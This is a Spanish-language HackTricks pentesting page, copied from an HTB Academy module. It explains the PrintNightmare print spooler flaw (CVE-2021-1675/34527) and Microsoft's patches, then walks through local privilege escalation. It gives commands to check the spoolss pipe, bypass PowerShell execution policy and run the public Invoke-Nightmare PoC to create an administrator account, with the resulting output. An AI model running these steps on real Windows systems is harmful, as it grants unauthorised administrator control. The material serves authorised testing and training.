hacktricks/windows-hardening/active-directory-methodology/printnightmare.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

8.7 KiB

PrintNightmare

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta página fue copiada de https://academy.hackthebox.com/module/67/section/627****

CVE-2021-1675/CVE-2021-34527 PrintNightmare es una falla en RpcAddPrinterDriver que se utiliza para permitir la impresión remota y la instalación de controladores.
Esta función está destinada a dar a los usuarios con el privilegio de Windows SeLoadDriverPrivilege la capacidad de agregar controladores a un Spooler de impresión remoto. Este derecho generalmente está reservado para usuarios en el grupo de Administradores incorporados y Operadores de impresión que pueden tener una necesidad legítima de instalar un controlador de impresora en la máquina de un usuario final de forma remota.

La falla permitió que cualquier usuario autenticado agregara un controlador de impresión a un sistema Windows sin tener el privilegio mencionado anteriormente, lo que permite a un atacante la ejecución remota completa de código como SYSTEM en cualquier sistema afectado. La falla afecta a todas las versiones admitidas de Windows, y dado que el Spooler de impresión se ejecuta de forma predeterminada en Controladores de dominio, Windows 7 y 10, y a menudo se habilita en servidores Windows, esto presenta una superficie de ataque masiva, de ahí "pesadilla".

Microsoft lanzó inicialmente un parche que no solucionó el problema (y la guía inicial fue deshabilitar el servicio Spooler, lo que no es práctico para muchas organizaciones), pero lanzó un segundo parche en julio de 2021 junto con la guía para verificar que la configuración específica del registro esté establecida en 0 o no definida.

Una vez que se hizo pública esta vulnerabilidad, se lanzaron exploits de PoC bastante rápido. **** Esta versión de @cube0x0 se puede utilizar para ejecutar un DLL malicioso de forma remota o local utilizando una versión modificada de Impacket. El repositorio también contiene una implementación en C#.
Este **** script de PowerShell **** se puede utilizar para una rápida escalada de privilegios local. Por defecto, este script agrega un nuevo usuario administrador local, pero también podemos suministrar una DLL personalizada para obtener una shell inversa o similar si agregar un usuario administrador local no está dentro del alcance.

Comprobando el servicio Spooler

Podemos comprobar rápidamente si el servicio Spooler está en ejecución con el siguiente comando. Si no está en ejecución, recibiremos un error de "la ruta no existe".

PS C:\htb> ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Añadiendo un administrador local con el PoC de PrintNightmare PowerShell

Comience por bypass la política de ejecución en el host objetivo:

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

Ahora podemos importar el script de PowerShell y usarlo para agregar un nuevo usuario administrador local.

PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirmación de Nuevo Usuario Administrador

Si todo ha ido según lo planeado, tendremos un nuevo usuario administrador local bajo nuestro control. Agregar un usuario es "ruidoso", no querríamos hacer esto en un compromiso donde la discreción es importante. Además, deberíamos verificar con nuestro cliente para asegurarnos de que la creación de cuentas esté dentro del alcance de la evaluación.

PS C:\htb> net user hacker

User name                    hacker
Full Name                    hacker
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *None                 
The command completed successfully.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥